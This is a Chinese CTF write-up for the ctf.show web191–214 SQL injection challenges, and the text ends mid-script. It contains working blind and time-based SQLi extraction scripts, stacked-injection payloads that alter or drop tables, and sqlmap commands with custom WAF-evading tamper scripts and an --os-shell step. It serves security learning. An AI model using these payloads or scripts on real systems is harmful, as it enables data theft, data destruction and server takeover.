url="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/"

flag_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ord(substr((select f1ag from ctfshow_fl0g),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
flag_name += chr(j)
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

web192(过滤+ord,hex)

补充:substr()

作用

用于从字符串中提取子字符串

语法

SUBSTR(string, start_position, length)
  • string: 要从中提取子字符串的源字符串。
  • start_position: 子字符串的起始位置。正数表示从左开始,负数表示从右开始。
  • length(可选): 提取的字符数。如果省略,则提取到字符串末尾。

示例

SELECT SUBSTR('Hello World', 7);       -- 输出: 'World'
SELECT SUBSTR('Hello World', -5); -- 输出: 'World'
SELECT SUBSTR('Hello World', 3, 4); -- 输出: 'lo W'

注入过程

通过截取字符串substr()函数来进行注入,直接脚本

import requests

url="http://d3aa66d6-039b-43c6-84c3-aebdeea061ed.challenge.ctf.show/api/"

flag_name =""
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in flagstr:
data={
"username": f"admin' and substr((select f1ag from ctfshow_fl0g),{i},1)='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
flag_name += j
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

image-20241228161619697

web193(过滤+substr)

补充:substr()替换函数

注:[]表示可选

left(str,length)从左边开始截取length个长度

right(str,length)从右边开始截取length个长度

substring(str,index,[length])从左边index开始截取length个长度,无length时默认提取到结尾

mid(str,index,length)截取str从index开始,截取length的长度

lpad(str,len,padstr)在str的左边填充给定的padstr到指定的长度len,返回填充的结果

rpad(str,len,padstr)在str的右边填充给定的padstr到指定的长度len,返回填充的结果


注入过程

这里使用left,但是left是从左边开始提取全部字符,比如left(‘123456’,3)=123

注意,这里的表名变了,所以平时一定要一步步来

爆库名

import requests

url="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/"

database_name =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and left(database(),{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
database_name += j
str1 += j
print(database_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('库名为: '+ str(database_name))

image-20241228180049018

爆表名

import requests

url="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/"

table_name =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
table_name += j
str1 += j
print(table_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('表名为: '+ str(table_name))

image-20241228181354393

爆列名

import requests

url="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/"

column_name =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
column_name += j
str1 += j
print(column_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('列名为: '+ str(column_name))

image-20241228181009760

爆数据

import requests

url="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/"

flag =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and left((select f1ag from ctfshow_flxg),{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
flag += j
str1 += j
print(flag)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag))

image-20241228181221635

web194(过滤+left,right)

使用mid()函数进行盲注

爆库名

import requests

url="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/"

database_name =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and mid(database(),1,{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
database_name += j
str1 += j
print(database_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('库名为: '+ str(database_name))

image-20241228182142446

爆表名

import requests

url="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/"

table_name =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
table_name += j
str1 += j
print(table_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('表名为: '+ str(table_name))

image-20241228182349867

爆列名

import requests

url="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/"

column_name =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),1,{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
column_name += j
str1 += j
print(column_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('列名为: '+ str(column_name))

image-20241228182504350

爆数据

import requests

url="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/"

flag =""
str1 =""
str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_,"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in str2:
data={
"username": "admin' and mid((select f1ag from ctfshow_flxg),1,{})='{}'#".format(i,str1+j), #通过str1+j来进行比较,并且要使用format进行格式化
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
flag += j
str1 += j
print(flag)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag))

image-20241228182758997

堆叠注入

web195(过滤空格和*)

注意到过滤空格和*,由题目可知登录成功即获得flag,提交的用户名为0时显示密码错误,因此用堆叠注入更改密码

username:0;update`ctfshow_user`set`pass`=1
password:1
提交两次可获得flag,第一次更改,第二次登录
注意pass后也有`

image-20241228190813527

web196(伪过滤select)

此处由题目来说是过滤了select的,但是实际并没有,就可以通过select来进行堆叠注入

判断条件为$row[0]==$password,row[0]就是结果这一行的第一个数据

payload为

username:0;select(1)
password:1
原理为row[0]处理select(1)时就会返回1,即$row[0]==1,和密码匹配

image-20241229172406452

web197(+select)

这个题将select确实过滤,由于判断条件是登录表中用户,则可通过删除表中数据再重新添加实现

payload为(三选一均可)

username:1;drop table ctfshow_user;#删除原来的表ctfshow_user
create table ctfshow_user(username varchar(100),pass varchar(100)); #在ctfshow_user中新建两个最大长度为100的字段
insert ctfshow_user(username,pass) value (1,2); #为这两个字段赋值为12

完整payload:
username:1;drop table ctfshow_user;create table ctfshow_user(username varchar(100),pass varchar(100));insert ctfshow_user(username,pass) value (1,2);
password:2

也可以通过alert的方法实现
username:0;alter table ctfshow_user drop pass;alter table ctfshow_user add pass int default 1
password:1

看wp还有一种和上题思路类似的
username:0;show tables
password:ctfshow_user

image-20241229174034261

web198(+create)

把上题的create禁用了,因此可用insert(插入)方法

payload为(二选一即可)

username:1;insert ctfshow_user(username,pass) value(1,2)
password:2
原理为向表中插入一组数据,登录即可

username:0;show tables
password:ctfshow_user

image-20241229175046121

web199(+())

把括号禁用,还可以用表名

patload为

username:0;show tables
password:ctfshow_user

image-20241229174926296

web200(+,)

过滤逗号,和上题一样的思路

username:0;show tables
password:ctfshow_user

image-20241229175241800

sqlmap使用

web201(UA,referer检查)

首先根据题目要指定agent和绕过referer检查,因此构造payload(-batch为自动选择)

python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch
检测注入点,如下图,未指定UA也可以,可以进行时间盲注和union注入

爆库名

python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -dbs

image-20241229193257761

爆表名

python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -tables

image-20241229193440541

爆列名

python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -columns

image-20241229193656170

爆数据

python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id,pass,username -dump

image-20241229193808885

web202(POST请求)

通过-data更换为POST请求方式

python sqlmap.py -u http://d18ed34e-1866-4884-b756-16f40334ff59.challenge.ctf.show/api/ --data id=1 --referer https://d18ed34e-1866-4884-b756-16f40334ff59.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id,pass,username -dump

image-20241229200026903

web203(PUT请求)

通过–method调整请求方式为PUT,并且加上–headers=”Content-Type: text/plain”,PUT 请求通常包含请求体(payload),因此需要通过headers来提供有关请求体的信息

python sqlmap.py -u http://724abbe9-4be1-4a25-b97d-e9c81b831563.challenge.ctf.show/api/index.php --data id=1 --method="PUT" --headers="Content-Type: text/plain" --referer http://724abbe9-4be1-4a25-b97d-e9c81b831563.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id,pass,username -dump

image-20241229203344198

要加上cookie值了,即添加–cookie

python sqlmap.py -u http://dcb44cf5-4c99-4186-9a3a-9291fcf51b36.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain"  --cookie PHPSESSID=6sh7omtbvr2l5m9qd6po1ovoe6; ctfshow=803c499b0ad861be99cf0c1117d91dea -batch -D ctfshow_web -T ctfshow_user -C id,pass,username -dump

image-20250102224001170

以下是对该题的waf

//对cookie的验证

if($_COOKIE['ctfshow']!=$_SESSION['ctfshow']){
die(json_encode(array("token验证失败")));
}

//对请求方法的验证
if ('PUT' == $_SERVER['REQUEST_METHOD']) {
$put = file_get_contents('php://input');
if(substr($put, 0,3)=='id='){
$id=substr($put, 3,strlen($put));
}
}

//对User-Agent的验证
if(!preg_match('/sqlmap/i', $ua)){
die(json_encode(array("不使用sqlmap是没有灵魂的")));
}

//对referer的验证
if(!preg_match('/ctf\.show/i', $_SERVER['HTTP_REFERER'])){
die(json_encode(array("打击盗版人人有责,你都不是从ctf.show来的")));
}

//对传入的参数进行了过滤

function waf($str){
return preg_match('/ujn/', $str);
}

web205(api鉴权)

要求api调用鉴权,在每次查询数据库时会先访问/getToken.php,于是使用–safe-url参数将url设置为api/getToken,再加上–safe-preq=1表示访问api/getToken一次(注意要重新爆表名)

image-20250102224858732

python sqlmap.py -u http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -dbs

image-20250102225154282

爆表名

python sqlmap.py -u http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables

image-20250102225420773

爆列名

python sqlmap.py -u http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -columns

image-20250102225447178

爆flag

python sqlmap.py -u http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump

image-20250102225516452

web206(‘)闭合)

同web205即可,’)sqlmap会自动检测闭合,但是要重新爆表名

爆库名

python sqlmap.py -u http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -dbs

image-20250102230150965

爆表名

python sqlmap.py -u http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables

image-20250102230225399

爆列名

python sqlmap.py -u http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -columns

image-20250102230342742

爆flag

python sqlmap.py -u http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv -dump

image-20250102230439441

web207(绕过空格过滤)

使用–tamper中的space2comment.py绕过waf检测

爆库名

python sqlmap.py -u http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -dbs

image-20250102231629562

爆表名

python sqlmap.py -u http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -tables

image-20250102231921915

爆列名

python sqlmap.py -u http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -columns

image-20250102232127096

爆flag

python sqlmap.py -u http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc -dump

image-20250102232206220

web208(绕过select过滤)

加入对’select’ 的过滤,使用upppercase这个脚本

爆库名

python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -dbs

image-20250102232850682

爆表名

python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -tables

image-20250102233015001

爆列名

python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -columns

image-20250102233116244

爆flag

python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca -dump

image-20250102233416100

web209(绕过空格*=过滤)

由于tamper里面没有绕过这个的,所以自己写脚本实现,将以下代码在sqlmap/tamper里面存为text.py后使用

def tamper(payload, **kwargs):
# 0x09 0x0a 0x0b 0x0c 0x0d
space = chr(0x0d)
return payload.replace(' ', space).replace('=', space + 'like' + space)

爆库名

python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -dbs

image-20250104125821345

爆表名

python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -tables

image-20250104125805154

爆列名

python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -T ctfshow_flav -columns

image-20250104130022215

爆flag

python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump

image-20250104130134631

web210(绕过双重base64)

题目要对payload进行两次base64解密,因此通过脚本对payload进行两次加密就行,存为base.py使用(若存为base64.py会和原有脚本相似导致报错)

from base64 import b64encode
# noinspection PyUnusedLocal
def tamper(payload, **kwargs):
payload = payload[::-1]
payload = b64encode(payload.encode('utf-8')).decode('utf-8')
payload = payload[::-1]
payload = b64encode(payload.encode('utf-8')).decode('utf-8')
return payload

爆库名

python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -dbs

image-20250104133258839

爆表名

python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -tables

image-20250104133411290

爆列名

python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -T ctfshow_flavi -columns

image-20250104133608278

爆flag

python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx -dump

image-20250104133741416

web211(绕过双重base64+空格过滤)

在上一题基础上还有匹配空格,结合脚本使用,存为yxing.py使用

from base64 import b64encode
# noinspection PyUnusedLocal
def tamper(payload, **kwargs):
payload = payload.replace(' ', '/**/')
payload = payload[::-1]
payload = b64encode(payload.encode('utf-8')).decode('utf-8')
payload = payload[::-1]
payload = b64encode(payload.encode('utf-8')).decode('utf-8')
return payload

爆库名

python sqlmap.py -u http://436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -dbs

image-20250104145228202

爆表名

python sqlmap.py -u http://436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -tables

image-20250104145528666

爆列名

python sqlmap.py -u http://436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -T ctfshow_flavia -columns

image-20250104145641882

爆flag

python sqlmap.py -u http://436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa -dump

image-20250104145804969

web212(+*过滤)

不能把空格换为/**/了,即更改上题脚本,存为yxing1.py使用

from base64 import b64encode
# noinspection PyUnusedLocal
def tamper(payload, **kwargs):
payload = payload.replace(' ', chr(0x09))#十六进制空格
payload = payload[::-1]
payload = b64encode(payload.encode('utf-8')).decode('utf-8')
payload = payload[::-1]
payload = b64encode(payload.encode('utf-8')).decode('utf-8')
return payload

爆库名

python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -dbs

image-20250104152427325

爆表名

python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -tables

image-20250104152526712

爆列名

python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -T ctfshow_flavis  -columns

image-20250104152627237

爆flag

python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -T ctfshow_flavis  -C ctfshow_flagxsa -dump

image-20250104152837688

web213(getshell)

在上题基础上还要通过–os-shell一键getshell

python sqlmap.py -u http://689dbadd-5582-48d9-8f86-e71080b370d5.challenge.ctf.show//api/index.php --method="PUT" --data id=1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="689dbadd-5582-48d9-8f86-e71080b370d5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py --os-shell

os-shell的使用条件
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭

image-20250104160325809

注意在最后cat flag时是cat /ctfshow_flag(由于空格错了第一遍没找到)

时间盲注

web214(数字型无闭合)

一直找不到注入点,看了wp和视频,在主页猫那个位置有一个向api/index.phpPOST请求的包(但是我用火狐和chrome都抓不到,只有先做着了)

image-20250104171246576


后面通过网上看wp发现可以通过猫那个页面的select.js响应找到该页面

image-20250105125653194


通过POST传参发现ip和debug两个参数直接插入进查询语句中,测试是否能时间盲注

#payload
debug=1&ip=if(ascii(substr(database(),1,1))=99,sleep(2),sleep(5))

image-20250104172318057

如图可正常进行时间盲注(数据库第一个字母ASCII码为99,即c),写脚本来进行时间盲注(第一个手搓的脚本,花了三个小时,但是跑出来那一刻真的感觉好到爆!!!!)

#需要手动输入表名,列名
import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr(database(),{i},1)='{char}',sleep(4),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}' ),{i},1)='{char}',sleep(4),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
